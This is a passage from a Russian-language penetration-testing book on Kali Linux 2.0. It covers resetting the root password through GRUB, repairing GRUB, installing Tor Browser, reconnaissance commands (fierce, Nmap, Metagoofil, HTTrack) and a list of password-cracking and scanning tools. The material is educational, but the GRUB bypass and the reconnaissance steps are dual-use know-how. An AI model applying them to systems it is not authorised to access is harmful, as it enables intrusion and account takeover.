Нажмите 'e', откроется новое окно. Найдите строку, которая начинается на
1|

linux /boot/vmlinuz-3.18 …...

В конце этой строки поставьте пробел и допишите (будьте внимательны, строка
длинная и занимает 2 строчки):
1|

single init=/bin/bash

По материалам сайта WebWare.biz

66

Тестирование на проникновение с помощью Kali Linux 2.0

Нажимаете F10 для загрузки.
Откроется окно терминала:

Перемонтируем файловую систему для чтения-записи (при загрузке она доступна
только для чтения):
1|

mount -rw -o remount /

Теперь набираем команду:
1|

passwd root

По материалам сайта WebWare.biz

67

Тестирование на проникновение с помощью Kali Linux 2.0

И придумываем новый пароль.

Всё готово, можно перезагружаться:
1|

shutdown -h now

Способ работает не только для Kali Linux, но и для многих других дистрибутивов.
Обязательное требование — доступ к загрузчику GRUB.

Глава 12. Восстанавливаем GRUB в Kali Linux
после обновления до Windows 10
Автор
статьи:
AndreyKravets, первоначально
статья
опубликована
по
адресу http://andrey.lviv.ua/blog/repair-grub-kali-linux-with-windows-10, другие статьи
автора вы можете найти на сайте http://andrey.lviv.ua.
Автор в социальной сети: +AndreyKravets.
Привет всем! Недавно столкнулся с такой проблемой, как восстановление загрузчика
GRUB на ноуте с двумя операционками — Windows 10 и Kali Linux. В интернете
пришлось довольно долго искать необходимый мануал, поскольку с подобным мало
кто сталкивается. В основном пишут о восстановлении GRUB в Ubuntu, а это не совсем
подходит для Kali. Поэтому решил поделиться своим опытом — возможно кому-то
пригодится.
Вообще-то две (а иногда и более) принципиально различных ОС на моих компьютерах
уживаются уже несколько лет, ничего удивительного в этом нет. Главное сохранить
правильную очередность при установке ОС. Сначала ставим винду, оставляя часть
диска неразмеченным под Linux, а после уже устанавливаем и последнюю ОС.
Загрузчик Linux-а при этом автоматически определяет, что установлена Windows или
другая ОС и вам остается только выбирать при загрузке нужную систему.
Так было до последнего времени и на новом ноуте — стояла Windows 8.1 и Kali Linux.
Все работало без проблем, пока не решил попробовать новую Windows 10 (инсайдерПо материалам сайта WebWare.biz

68

Тестирование на проникновение с помощью Kali Linux 2.0

версию) для теста. Ее установил на место старой 8.1 при этом хитрая форточка, как
всегда, перезаписала загрузчик GRUB. Переустанавливать Kali Linux не хотелось,
поскольку там было сделано достаточно много настроек и наработок. Поэтому
пришлось искать другой выход.
Для восстановления загрузчика нам понадобится LiveCD версия линукс, установленная
на оптический диск, или usb носитель. Загружаемся с нашего носителя в обычном
режиме, открываем консоль. Если вы не помните на каком разделе у вас стоит Linux,
следует сначала воспользоваться командой:
1|

fdisk -l

Которая выведет на экран таблицу ваших разделов. Что-то примерно следующего
содержания:
1|

/dev/sda1 29 8369 66999082+ 83 Linux

2|

/dev/sda2 * 8370 13995 45190845 7 HPFS/NTFS

3|

/dev/sda3 13996 14593 4803435 5 Extended

Видим, что наша Linux стоит в разделе / dev / sda1
Далее можем выполнять следующие команды (обращайте внимание на каком разделе
у вас стоит Linux, его и подставляете вместо sda1):
1|

mount /dev/sda1 /mnt

2|

mount --bind /dev /mnt/dev

3|

mount --bind /dev/pts /mnt/dev/pts

4|

mount --bind /proc /mnt/proc

5|

mount --bind /sys /mnt/sys

6|

chroot /mnt

7|

grub-install /dev/sda

8|

update-grub

9|

exit

10|

umount /mnt/dev/pts

11|

umount /mnt/dev

12|

umount /mnt/proc

13|

umount /mnt/sys

14|

umount /mnt

Все! Делаем reboot и наблюдаем знакомое меню выбора ОС. Если вдруг пункт
Windows в нем отсутствует (что очень маловероятно), выполняем в консоли под rootом еще одну команду:
1|

os-prober

2|

update-grub

По материалам сайта WebWare.biz

69

Тестирование на проникновение с помощью Kali Linux 2.0

Глава 13. Повышаем свою анонимность в Интернете
с Tor в Kali Linux
Tor (The Onion Router) — свободное программное обеспечение для реализации
второго поколения так называемой "луковой маршрутизации". Это система,
позволяющая устанавливать анонимное сетевое соединение, защищённое от
прослушивания. Рассматривается как анонимная сеть, предоставляющая передачу
данных в зашифрованном виде. (Определение из Википедии)
Несмотря на то, что название произошло от акронима, принято писать "Tor", а не
"TOR". Только первая буква — заглавная.
Tor является свободным программным обеспечением и открытой сетью, в помощь вам
для защиты от сетевого надзора, известного как анализ трафика, угрожающего
персональной свободе и приватности, конфиденциальности бизнес контактов и связей,
и государственной безопасности. (Определение с сайта программы)
Таким образом, Tor — это не только программное обеспечение, но и распределенная
система серверов, между которыми трафик проходит в зашифрованном виде. (Иногда
серверы системы Tor называют нодами.) На последнем сервере-ноде в цепочке
передаваемые данные проходят процедуру расшифровки и передаются целевому
серверу в открытом виде. Кроме того, через заданный интервал времени (около 10
минут) происходит периодическая смена цепочки (изменение маршрута следования
пакетов). При таком подходе вскрыть канал можно только при взломе всех серверов
цепочки, что практически нереально, т.к. они располагаются в разных странах, а сама
цепочка постоянно меняется. По состоянию на апрель 2011 года сеть Tor включает
более 2500 нодов, разбросанных по всем континентам Земли. Все ноды работают по
протоколу SOCKS.
Шифрование производится следующим образом. Перед отправлением пакет
последовательно шифруется тремя ключами: сначала для третьей ноды, потом для
второй и, в конце концов, для первой. Когда первая нода получает пакет, она
расшифровывает "верхний" слой шифра и узнает, куда отправить пакет дальше. Второй
и третий серверы поступают аналогичным образом. Именно эти слои шифрования и
напомнили авторам луковицу (Onion). Оттуда и пошли название и логотип.
О поддержке проекта Tor объявила известная организация по защите гражданских
свобод Electronic Frontier Foundation, которая начала активно пропагандировать новую
систему и прилагать значительные усилия для максимального расширения сети нод.
Сейчас многие общественные организации поддерживают разработку Tor, поскольку
видят в нём механизм для защиты базовых гражданских прав и свобод в Интернете.
Наиболее часто звучащими обвинениями в адрес сети Tor является возможность
ее использования в преступных целях. Но в реальности компьютерные преступники
гораздо чаще используют для этого средства собственного изготовления, будь то VPN,
взломанные сети, беспроводная связь или другие способы.
Tor может работать не только с веб-браузерами, но и со многими
существующими приложениями на основе протокола TCP. Приложения для работы в
Сети, в простейшем случае это браузер, необходимо ещё настроить на работу с Tor.
Система Tor позволяет скрывать от провайдера конечные (целевые) адреса, тем
самым, прорывая возможную блокаду доступа к заблокированным им сетевым
По материалам сайта WebWare.biz

70

Тестирование на проникновение с помощью Kali Linux 2.0

ресурсам. Также система Tor надёжно скрывает от целевых ресурсов адрес
отправителя.
Однако Tor допускает перехват самого содержимого сообщений (без выявления
отправителя) из-за необходимости их расшифровки на выходном узле! Впрочем, для
такого перехвата нужно поставить на выходных узлах анализатор трафика (сниффер),
что не всегда просто сделать. Особенно, если учесть, что выходные узлы постоянно
меняются.
Как известно — никакая система не может быть безопасной на 100%.
Сообщество разработчиков Tor постоянно анализирует возможные способы
деанонимизации ее клиентов (т.н.атаки) и ищет способы борьбы с ними.
Ещё одним достоинством Tor является то, что это свободное программное
обеспечение. Т.е. распространение его полностью бесплатно и с открытым исходным
кодом.
Проект Tor является некоммерческой (благотворительной)
поддерживающей и развивающей программное обеспечение Tor.

организацией,

Изначально система Tor разрабатывалась в лаборатории ВМС США по федеральному
заказу.
В 2002 г. разработка была рассекречена, а исходные коды были переданы
независимым разработчикам, которые создали клиентское ПО и опубликовали
исходный код под свободной лицензией, чтобы все желающие могли проверить его на
отсутствие багов и прочих уязвимостей. (По заявлению разработчиков системы — к
январю 2009 года число багов стало равным нулю.)

Установка "нового" Tor Browser в Kali Linux
Tor можно установить из репозиториев Linux, либо скачать с официального сайта самую
свежую версию. Минус ручной установки в Kali Linux — необходимо отредактировать
одну строчку (поскольку Tor не хочет запускаться из-под рута, а в Kali Linux рут — это
пользователь по умолчанию). Чтобы чуть убыстрить процесс, я сделал такую большую
команду:
Для 64-битной версии
1|

(t=`curl -s https://www.torproject.org/download/download-easy.html.en#linux | grep -E o
'/dist/torbrowser/[0-9]{1}.[0-9]{1}.[0-9]{1}/tor-browser-linux64-[0-9]{1}.[0-9]{1}.[09]{1}_' | head -1`; t="https://www.torproject.org"$t"ru.tar.xz"; wget $t) && tar -xvf torbrowser-linux64-* && sed -i 's/u`" -eq 0/u`" -eq 1/' ./tor-browser_ru/Browser/start-torbrowser && chown -R root ./tor-browser_ru/* && ./tor-browser_ru/Browser/start-torbrowser

Для 32-битной версии
1|

(t=`curl -s https://www.torproject.org/download/download-easy.html.en#linux | grep -E o
'/dist/torbrowser/[0-9]{1}.[0-9]{1}.[0-9]{1}/tor-browser-linux32-[0-9]{1}.[0-9]{1}.[09]{1}_' | head -1`; t="https://www.torproject.org"$t"ru.tar.xz"; wget $t) && tar -xvf torbrowser-linux32-* && sed -i 's/u`" -eq 0/u`" -eq 1/' ./tor-browser_ru/Browser/start-torbrowser && chown -R root ./tor-browser_ru/* && ./tor-browser_ru/Browser/start-torbrowser

По материалам сайта WebWare.biz

71

Тестирование на проникновение с помощью Kali Linux 2.0

Эта команда:


проверит самую свежую версию Tor



скачает её



распакует



отредактирует файл, как это описано ниже



сделает файлы исполнимыми



запустит Tor

Если по каким-либо причинам команда не сработала, то напишите об этом в
комментариях или можете перейти к полностью ручной установке. Шаги описаны
ниже. Если команда отработала как надо, то пропускаете следующие шаги и
переходите сразу к редактированию файла start-tor-browser.
Идем на страницу https://www.torproject.org/download/download-easy.html.en#linux,
выбираем русский язык, 32- или 64-битную версию и скачиваем её (на момент
написания tor-browser-linux64-4.5.3_ru.tar.xz), например на рабочий стол.
Вводим последовательно в терминале:
1|

cd Desktop

2|

tor-browser-linux64-4.5.3_ru.tar.xz

После распаковки на рабочем столе появится папка tor-browser_ru. Заходим в нее
и открываем файл start-tor-browser с помощью текстового редактора Leafpad. Ищем
строку "The Tor Browser Bundle should not be run as root. Exiting.", а над ней в строке:
1|

if [ "`id -u`" -eq 0 ]; then

Меняем 0 на 1, то есть так:
1|

if [ "`id -u`" -eq 1 ]; then

Сохраняемся и выходим.
Последовательно вводим в терминале:
1|

cd tor-browser_ru

2|

chown -R root *

3|

./Browser/start-tor-browser

По материалам сайта WebWare.biz

72

Тестирование на проникновение с помощью Kali Linux 2.0

Как проверить работу Tor
Чтобы проверить то, как Tor обеспечивает анонимность нужно зайти на один из
сайтов, которые могут определять и высвечивать IP-адрес и некоторые другие данные
о пользователе. Список приведен ниже.
Чтобы узнать свой настоящий IP-адрес — можно зайти на один из этих сайтов, не
включая Tor. (Например, http://2ip.ru или тестовую страницу сайта Tor —
https://check.torproject.org и т. д.)
Можно узнать, введя в терминале:
1|

wget -q -O - ip.appspot.com

Запомнить свой IP-адрес и начните проверку.
Включите Tor и зайдите последовательно на несколько проверочных сайтов. Чтобы
избежать ошибки, проверка IP всегда должна выполнятся на ресурсах,
гарантированно учитывающих разные нюансы. Т. е., если анонимность важна, то будет
не лишним провериться в нескольких местах, не полагаясь на один сервис. Ниже
приведены ссылки на самые надежные и информативные ресурсы:


Сайт содержит набор всевозможных тестов прокси сервера на анонимность,
включая Java-проверку http://www.stilllistener.addr.com/checkpoint1/index.shtml



Показывает IP-адрес и (исходя из этого IP) страну проживания, а также
информацию о провайдере http://www.anonymize.net/current-ID.phtml



http://2ip.ru/— на сайте есть анонимайзер и другие полезные функции.



http://smart-ip.net/— можно узнать адреса HTTP и SOCKS Proxy



http://leader.ru/secure/who.html — хороший адрес для получения подробной
информации о Вашем компьютере. Имеет сервис Whois!



http://ip-whois.net/



http://clientn.free-hideip.com/map/whatismyip.php



http://smart-ip.net/tools/geoip

По материалам сайта WebWare.biz

73

Тестирование на проникновение с помощью Kali Linux 2.0

Если ни один из проверочных сайтов не высветил настоящий IP-адрес, значит Tor
обеспечил вашу анонимность.

Часть 2. Обзор инструментов Kali Linux
Глава 14. Обзор разделов инструментов Kali Linux 1.1.0. Краткая
характеристика всех разделов
Программ направленных на решение разнообразных задачи в Kali Linux очень много, и
хотя они сгруппированы по разделам, глаза всё равно разбегаются, особенно при
первом знакомстве.

Information Gathering

Эти инструменты для разведки используются для сбора данных по целевой сети или
устройствам. Инструменты охватывают от идентификаторов устройств до анализа
используемых протоколов.

Vulnerability Analysis

По материалам сайта WebWare.biz

74

Тестирование на проникновение с помощью Kali Linux 2.0

Инструменты из этой секции фокусируются на оценке систем в плане уязвимостей.
Обычно, они запускаются в соответствии с информацией, полученной с помощью
инструментов для разведки (из раздела Information Gathering).

Web Applications

Эти инструменты используются для аудита и эксплуатации уязвимостей в веб-серверах.
Многие из инструментов для аудита находятся прямо в этой категории. Как бы там ни
было, не все веб-приложения направлены на атаку веб-серверов, некоторые из них
просто сетевые инструменты. Например, веб-прокси могут быть найдены в этой
секции.

Password Attacks

Эта секция инструментов, главным образам имеющих дело с брутфорсингом
(перебором всех возможных значений) или вычисления паролей или расшаривания
ключей используемых для аутентификации.
По материалам сайта WebWare.biz

75

Тестирование на проникновение с помощью Kali Linux 2.0

Wireless Attacks

Эти инструменты используются для эксплуатации уязвимостей найденных в
беспроводных протоколах. Инструменты 802.11 будут найдены здесь, включая
инструменты, такие как aircrack, airmon и инструменты взлома беспроводных паролей.
В дополнение, эта секция имеет инструменты связанные также с уязвимостями RFID и
Bluetooth. Во многих случаях, инструменты в этой секции нужно использовать с
беспроводным адаптером, который может быть настроен Kali в состояние
прослушивания.

Exploitation Tools

Эти инструменты используются для эксплуатации уязвимостей найденных в системах.
Обычно уязвимости идентифицируются во время оценки уязвимостей (Vulnerability
Assessment) цели.
По материалам сайта WebWare.biz

76

Тестирование на проникновение с помощью Kali Linux 2.0

Sniffing and Spoofing

Эти инструменты используются для захвата сетевых пакетов, манипуляции с сетевыми
пакетами, создания пакетов приложениями и веб подмены (spoofing). Есть также
несколько приложений реконструкции VoIP

Maintaining Access

Инструменты поддержки доступа (Maintaining Access) используются как плацдарм и
устанавливаются в целевой системе или сети. Обычное дело найти на
скомпрометированных системах большое количество бэкдоров и других способов
контроля атакующим, чтобы обеспечить альтернативные маршруты на тот случай, если
уязвимость, которой воспользовался атакующий, будет найдена или устранена.

По материалам сайта WebWare.biz

77

Тестирование на проникновение с помощью Kali Linux 2.0

Reverse Engineering

Эти инструменты используются для модификации, анализа, отладки (debug) программ.
Цель обратной инженерии — это анализ как программа была разработана,
следовательно, она может быть скопирована, модифицирована, использована для
развития других программ. Обратная инженерия также используется для анализа
вредоносного кода, чтобы выяснить, что исполняемый файл делает, или попытаться
исследователями найти уязвимости в программном обеспечении.

Stress Testing

Инструменты для стресс тестинга (Stress Testing) используются для вычисления как
много данных система может «переварить». Нежелательные результаты могут быть
получены от перегрузки системы, такие как стать причиной открытия всех
коммуникационных каналов устройством контроля сети или отключения системы
(также известное как атака отказа в обслуживании).
По материалам сайта WebWare.biz

78

Тестирование на проникновение с помощью Kali Linux 2.0

Hardware Hacking

Эта секция содержит инструментыдля Android, которые могут быть классифицированы
как мобильные и инструменты Android, которые используются для программирования
и контроля маленьких электронных устройств

Forensics

Инструменты криминалистики (Forensics) используются для мониторинга и анализа
компьютера, сетевого трафика и приложений.
По материалам сайта WebWare.biz

79

Тестирование на проникновение с помощью Kali Linux 2.0

Reporting Tools

Инструменты для отчётов (Reporting tools) — это методы доставки информации,
найденной во время исполнения проникновения.

System Services

Здесь вы можете включить или отключить сервисы Kali. Сервисы сгруппированы в BeEF,
Dradis, HTTP, Metasploit, MySQL, и SSH.
По материалам сайта WebWare.biz

80

Тестирование на проникновение с помощью Kali Linux 2.0

В сборку Kali Linux включены также и другие инструменты, например, веб-браузеры,
быстрые ссылки на тюнинг сборки Kali Linux, которые можно увидеть в других разделах
меню (сеть, инструменты поиска и другие полезные приложения).

Глава 15. Обзор разделов инструментов Kali Linux 1.1.0. Часть 2.
Инструменты для сбора информации
Здесь обзор только НЕКОТОРЫХ утилит. На самом деле, программ намного-намного
больше. Мы обходим стороной такие вопросы, как использование для сбора
информации данных, например, полученных через запросы в Гугл, анализ истории
сайта в веб-архивах, анализа доступной информации (объявления о приёме на работу
и т. д.), использование базовых утилит для пинга и определение маршрутов. Это всё
важно, и это нужно изучать отдельно! Но непосредственно к Kali Linux это не имеет
прямого отношения, поэтому данные вопросы пропущены.

1. HTTrack – клонируем веб-сайт
Данная программа сохраняет копию веб-сайта на жёсткий диск. Понятно, что она не
сможет скачать скрипты PHP и базы данных. Но анализируя структуру каталогов,
размещения страниц и пр. можно сделать определённые выводы, которые будут
способствовать разработке стратегии проникновения.
Эта программа установлена не на всех версиях Kali Linux, если у вас её нет, то наберите
в командной строке:
1|

apt-get install httrack

Теперь там же, в терминале, создаём каталог для нашего нового сайта, переходим в
этот каталог и запускаем HTTrack:
1|

mkdir webware.biz

2|

cd / webware.biz

3|

httrack

По материалам сайта WebWare.biz

81

Тестирование на проникновение с помощью Kali Linux 2.0

Задаём имя проекта, базовый каталог, вводим URL (адрес сайта) — адрес сайта может
быть любым, WebWare.biz взят только для примера, и нам на выбор предоставляется
несколько опций:

1|

1. Создать зеркало сайта (сайтов)

2|

2. Создать зеркало сайта (сайтов) с мастером

3|

3. Просто получить указанные файлы

4|

4. Сделать зеркало всех ссылок в URL

5|

5. Протестировать ссылки в URL (Тест закладок)

6|

0. Выход

Самая простая опция — вторая. У нас спрашивают о прокси, Далее спрашивается, какие
файлы мы хотим скачать — чтобы скачать всё, поставьте звёздочку (*), мы можем
задать дополнительные опции (ключи) — я не стал это делать и, наконец, у нас
спрашивают, готовы ли мы начать:

По материалам сайта WebWare.biz

82

Тестирование на проникновение с помощью Kali Linux 2.0

HTTrack начинает свою работу (скриншот логов с сайта):

После окончания клонирования, вы можете подробно изучить структуру каталог,
размещения страниц и пр.

По материалам сайта WebWare.biz

83

Тестирование на проникновение с помощью Kali Linux 2.0

2. fping и Nmap — множественный пинг
Про команду ping, уверен, знают все. Её недостаток в том, что она позволяет
использовать ICMP для проверки только одного хоста за раз. Команда fping позволит
вам сделать пинг множества хостов одной командой. Она также даст вам прочитать
файл с множеством хостов или IP адресов и отправит их для использования в эхо
запросах пакета ICMP.

1|

fping-asg network/host bits

2|

fping -asg 10.0.1.0/24

Ключ -a возвратит результат в виде IP адресов только живых хостов, ключ -s отобразит
по сканированию, ключ -g установит fping в тихих режим, который означает, что
программа не позазывает пользователю статус каждого сканирования, только
результат, когда сканирование завершено.
Команда Nmap делает примерно то же самое.

По материалам сайта WebWare.biz

84

Тестирование на проникновение с помощью Kali Linux 2.0

3. Dig — техники разведывания DNS
Используется так:
dig
Например:
1|

dig webware.biz

Для поиска авторитетных DNS серверов делаем так (во всех командах WebWare.biz —
взят только для примера, заменяйте его на интересующий вас сайт):
1|

dig -t ns webware.biz

По материалам сайта WebWare.biz

85

Тестирование на проникновение с помощью Kali Linux 2.0

4. Fierce — ищем связанные с сайтом хосты
Этими хостами, например, для сайта WebWare.biz могут быть mail.webware.biz,
cloud.webware.biz, th.webware.biz и т.д.
Применяется команда так (адрес сайта поменяйте на свой):
1|

fierce -dns webware.biz

Если zone transfer недоступна, то используется метод перебора.

5. Maltego – графическое отображение собранной информации
Программа находится в меню: Information Gathering| DNS Analysis| Maltego
Maltego – это инструмент для сбора информации, встроенный в Kali и
разрабатываемый Paterva. Это многоцелевой инструмент для сбора информации,
который может собрать информацию из открытых и публичных источников в
Интернете. Она может искать данные по сайтам или по адресам электронной почты:

По материалам сайта WebWare.biz

86

Тестирование на проникновение с помощью Kali Linux 2.0

Для того, чтобы использовать программу, необходима обязательная регистрация.

Результаты поиска:

По материалам сайта WebWare.biz

87

Тестирование на проникновение с помощью Kali Linux 2.0

По материалам сайта WebWare.biz

88

Тестирование на проникновение с помощью Kali Linux 2.0

6. Nmap — создатель карты сети
Nmap используется для сканирования хостов и служб в сети. Nmap имеет продвинутые
функции, которые могут выявить различные приложения, запущенные на системах,
также как службы и особенности отпечатков ОС. Это один из наиболее широко
используемых сетевых сканеров, он является очень эффективным, но в то же время и
очень заметным.
Nmap рекомендуется к применению в специфичных ситуациях, для предотвращения
срабатывания механизма защиты.
Дополнительно Kali идёт с загруженной Zenmap. Zenmap даёт Nmap графический
пользовательский интерфейс для выполнения команд.
Zenmap это не только графическая надстройка, программа предлагает и эксклюзивные
функции.
Чтобы запустить Zenmap, идём в меню
По материалам сайта WebWare.biz

89

Тестирование на проникновение с помощью Kali Linux 2.0

Kali Linux | Information Gathering | Network Scanners | zenmap
Множество разных вариантов сканирования, можно создавать профили и очень много
других полезностей.

Полученная информация очень обширна и полезна:

По материалам сайта WebWare.biz

90

Тестирование на проникновение с помощью Kali Linux 2.0

По материалам сайта WebWare.biz

91

Тестирование на проникновение с помощью Kali Linux 2.0

7. Metagoofil — сбор метаданных из файлов с сайта
Не надо недооценивать значение метаданных! Они могут рассказать об именах
пользователей, о программах, которые они используют, могут содержать GPS
координаты съёмки изображения, об операционных системах пользователей, времени
работы над документами и очень-очень многом другом. О том, как удалить
метаданные из файла, читайте в статье на нашем братском ресурсе.
При запуске Metagoofil без ключей, она выдаёт подсказки по использованию:

По материалам сайта WebWare.biz

92

Тестирование на проникновение с помощью Kali Linux 2.0

1|

-d

Домен для поиска

2|

-t

Типы файлов для загрузки (pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx)

3|

-l

Лимит результатов для поиска (по умолчанию 200)

4|

-h

Работать с документами в директории (используйте "yes" для локального
анализа)

5|

-n

Лимит файлов для загрузки

6|

-o

Рабочая директория (место для сохранения скаченных файлов)

7|

-f

Файл, в который будут записаны результаты анализа

Пример запуска программы:
1|

metagoofil -d webware.biz -t doc,pdf -l 200 -n 50 -o applefiles -f results.htm

Программа может найти уйму полезной информации: имена пользователей,
абсолютные адреса на сервере, имена компьютеров, используемые приложений. Вот
примеры отчётов программы.
Список найденных пользователей:

По материалам сайта WebWare.biz

93

Тестирование на проникновение с помощью Kali Linux 2.0

Список найденных серверов:

По материалам сайта WebWare.biz

94

Тестирование на проникновение с помощью Kali Linux 2.0

Найденные версии программного обеспечения:

Итак, мой список инструментов для сбора информации получился всего на семь
пунктов. Те, кто заходил в раздел Information Gathering, знают, что там несколько
десятков программ. Я рассмотрел самые, на мой взгляд, интересные.

Глава 16. Лучшие хакерские программы
Хакерские инструменты: список инструментов по безопасности для тестирования и
демонстрации слабостей в защите приложений и сетей, эти инструменты
предназначены для профессионалов по информационной безопасности.
Источник: https://n0where.net/best-hacking-tools/

По материалам сайта WebWare.biz

95

Тестирование на проникновение с помощью Kali Linux 2.0

Пароли

Cain & Abel

Cain & Abel — это инструмент по восстановлению пароля для
операционной системы Microsoft. Этот инструмент позволяет
восстановить пароли различного рода посредством прослушивания
сети.

CacheDump

CacheDump, лицензирована под GPL, демонстрирует, как
восстановить информацию из записей кэша: имя пользователя и
MSCASH.

John the Ripper

John the Ripper быстрый взломщик паролей, в настоящее время
доступен на разного рода Unix (официально поддерживаются 11 не
считая различных архитектур), Windows, DOS, BeOS и OpenVMS.

FSCrack

GUI (графический интерфейс) для John the Ripper. FSCrack — это
"морда" для John the Ripper (JtR), т.е. графический интерфейс (GUI)
для доступа к большинству функциям JtR.

Hydra

Очень быстрый взломщик входа по сети, программа поддерживает
множество различных служб. Одна из самых больших дыр в
безопасности — это пароли, об этом говорят все исследования по
безопасности паролей.

keimpx

keimpx инструмент с открытым исходным кодом, выпущен под
модифицированной версией лицензии Apache License 1.1. Он может
быть использован для быстрой проверки полезности учётных
данных по сети через SMB.

Medusa

Medusa предназначена для скоростного, массово параллельного,
модульного брут-форса входа. Цель — поддерживать все службы,
которые позволяют удалённую аутентификацию.

Ncrack

Ncrack — это высокоскоростной инструмент взлома паролей
аутентификации. Он был создан в помощь компания по
обеспечению безопасности их сетей посредством активного
тестирования всех их хостов и сетевых устройств на предмет
выявления слабых паролей.

Ophcrack

Ophcrack — это взломщик паролей Windows, основанный на
радужных таблицах. Это очень эффективная реализация радужных
таблиц, осуществлённая изобретателем данного метода.

По материалам сайта WebWare.biz

96

Тестирование на проникновение с помощью Kali Linux 2.0

RainbowCrack

RainbowCrack — это много целевая реализация теории радужных
таблиц Philippe Oechslin. Про радужные таблицы в Википедии.

phrasen|drescher (p|d) — это модульный и мульти процессный
обходчик паролей для их взлома. Он поставляется с рядом
phrasen|drescher
плагинов, а простые API позволяют простую разработку новых
плагинов.
LCP

Главная цель программы LCP — это аудит и восстановление
пользовательского пароля в Windows NT/2000/XP/2003.

Crunch

Crunch — это генератор списка слов, в котором вы можете задать
набор стандартных символов или любых других символов по своему
желанию. crunch сгенерирует все возможные комбинации и
пермутации.

Fcrackzip

Обычно, программы появляются исходя из потребностей. Ситуация
с fcrackzip не исключение. Я не особо использую формат zip, но
недавно мне понадобился взломщик паролей. Fcrackzip — это
программа для взлома паролей zip.

Enumiax

EnumIAX — это инструмент для брут-форса имени пользователя
протокола Inter Asterisk Exchange версии 2 (IAX2). enumIAX может
работать в двух различных режимах: последовательное
предположение имени пользователя или атака по словарю.

Wyd

wyd.pl был рождён из следующих двух ситуации: 1. Необходимо
выполнить тест на проникновение, а дефолтный список слов не
содержит валидного пароля. 2. Во время судебно-медицинской
экспертизы при расследовании преступлений файл должен быть
открыт без знания пароля.

Bruter

Bruter — это параллельный брутфорсер сетевого входа для Win32.
Цель этого инструмента — продемонстрировать важность выбора
сильного пароля. Цель Bruter — это поддержка различных служб,
которые позволяют удалённую аутентификацию.

The ssh
bruteforcer

Инструмент для выполнения атаки по словарю на SSH серверы. Это
простой инструмент, вы задаёте целевой сервер, целевой аккаунт,
список слов, порт и ждёте.

Lodowep

Lodowep — это инструмент для анализа стойкости пароля аккаунта в
веб-серверной системе Lotus Domino. Инструмент поддерживает как
сессионную, так и базовую аутентификацию.

По материалам сайта WebWare.biz

97

Тестирование на проникновение с помощью Kali Linux 2.0

SSHatter

SSHatter использует техники брут-форса для определения, как зайти
на сервер SSH. Она тщательно пробует каждую комбинации из
списка имён пользователей и паролей для определения верной
комбинации.

Сканирование

Amap

Amap — это инструмент сканирования следующего поколения,
который идентифицирует приложения и службы, даже если они не
прослушивают порт по умолчанию. Это достигается установлением
фиктивной связи и анализом ответа.

Dr.Morena

Dr.Morena — это инструмент для подтверждения настройки правил
в файерволе. Настройка файервола выполняется комбинированием
более чем одного правила.

Firewalk

Firewalk является инструментом для активно разведки сети, он
пытается определить, какой уровень (слой) четвёртого протокола
пройдёт на заданный IP устройства перенаправления.
Firewalk работает отправляя пакеты TCP или UDP с TTL на единицу
больше, чем целевой шлюз.

Netcat

Netcat — это особенная утилита, которая читает и пишет данные в
сетевые соединения, используя протокол TCP/IP. Она создана как
надёжный "фоновый" инструмент, который может быть
использован напрямую или с лёгкостью задействован другой
программой.

Ike Scan

Ike-scan — это инструмент командной строки, который использует
протокол IKE для обнаружения, снятия отпечатков пальцев и
тестирования серверов IPSec VPN. Он доступен для Linux, Unix,
MacOS и Windows под лицензией GPL.

Nmap

Nmap (‘Network Mapper’ — "сетевой картограф") — это бесплатная
утилита с открытым исходным кодов для исследования сетей или
для аудита безопасности. Она создавалась для быстрого
сканирования огромных сетей, но также прекрасно работает и в
отношении единичных хостов.

Zenmap

Zenmap — это официальная графическая оболочка (GUI) для Nmap
Security Scanner. Она мультиплатформенная (Linux, Windows, Mac OS
X, BSD и т.д.).

По материалам сайта WebWare.biz

98

Тестирование на проникновение с помощью Kali Linux 2.0

Onesixtyone

onesixtyone это сканер SNMP, который использует технику развёртки
для достижения высокой производительности. Он может
просканировать всю сеть класса B за 13 минут.

SuperScan 4

Мощный сканер портов TCP, пингер, резолвер. SuperScan 4 — это
обновление SuperScan — крайне популярного сканера портов под
Windows SuperScan

Autoscan

AutoScan-Network — это сканер сети (обнаружение и управление
приложениями). Для сканирования вашей сети не требуется
настройка. Главная цель — вывести список подключённого
оборудования в вашей сети.

Knocker

Knocker — это простой и лёгкий в использовании сканер
безопасности портов TCP, написан на C, анализирует все службы,
запущенные на этих портах.

Nsat

NSAT — это надёжный сканер, который предназначен для
различного рода широких сканирований, сохраняя стабильность на
протяжении дней. Сканирование на нескольких пользовательских
машинах (локальное незаметное низкоприоритетные опции
сканирования).

OutputPBNJ

PBNJ — это набор инструментов для мониторинга изменений в сети
в течение долгового времени. Он выполняет это посредством
проверки целевых машин на изменения. Собираемая информация
включает подробности о запущенных службах на них, а также
состояние служб.

ScanPBNJ

ScanPBNJ выполняет сканирование Nmap, а затем сохраняет
результаты в базе данных. ScanPBNJ сохраняет информацию о
просканированных машинах. ScanPBNJ сохраняет IP адреса,
операционные системы, имена хостов и бит localhost.

glypeahead

По умолчанию, Glype proxy script имеет несколько ограничений на
какие хосты/порты он может иметь доступ. В дополнение, proxy
script нормально отображает сообщения об ошибках, связанные с
cURL.

Unicornscan

Unicornscan — это новый движок сбора и корреляции информации,
созданный для сообществ по тестированию и исследованию
безопасности.

По материалам сайта WebWare.biz

99

Тестирование на проникновение с помощью Kali Linux 2.0

TCP Fast Scan

Очень-очень быстрый сканер tcp портов под Linux. Работает очень
быстро. Может одновременно сканировать множество хостов /
портов + диапазонов

Multi Threaded Этот инструмент может быть использован для сканирования портов
TCP Port Scanner конкретного IP. Он также может описать каждый порт стандартным
3.0
именем (известных и зарегистрированных портов).

MingSweeper

MingSweeper — это инструмент разведки сети, предназначенный
для облегчения высокоскоростного выявления узлов и их
идентификации в большом адресном пространстве.

Umap(UPNP Map)

Umap (UPNP Map) пытается сканировать открытые порты TCP на
хостах за включённым UPNP Internet Gateway Device(IGD) NAT.

SendIP

SendIP имеет огромное количество опций командной строки чтобы
указать содержимое каждого заголовка NTP, BGP, RIP, RIPng, TCP,
UDP, ICMP или сырых IPv4 и IPv6 пакетов. Программа также
позволяет добавлять в пакеты любые данные.

PortSentry

Инструменты Sentry обеспечивают безопасность служб на уровне
хоста для платформ Unix. PortSentry, Logcheck/LogSentry и HostSentry
защищают от сканирования портов, автоматизируют аудит файлов
журналов и выявляют продолжительную подозрительную
активность логина.

CurrPorts

CurrPorts отобразить список открытых в данный момент портов
TCP/IP и UDP на вашем ПК. Также для каждого открытого порта в
построенном списке будет отображена информация о процессе,
который открыл этот порт.

Nscan

NetworkActiv
Scan

Blues Port
Scanner

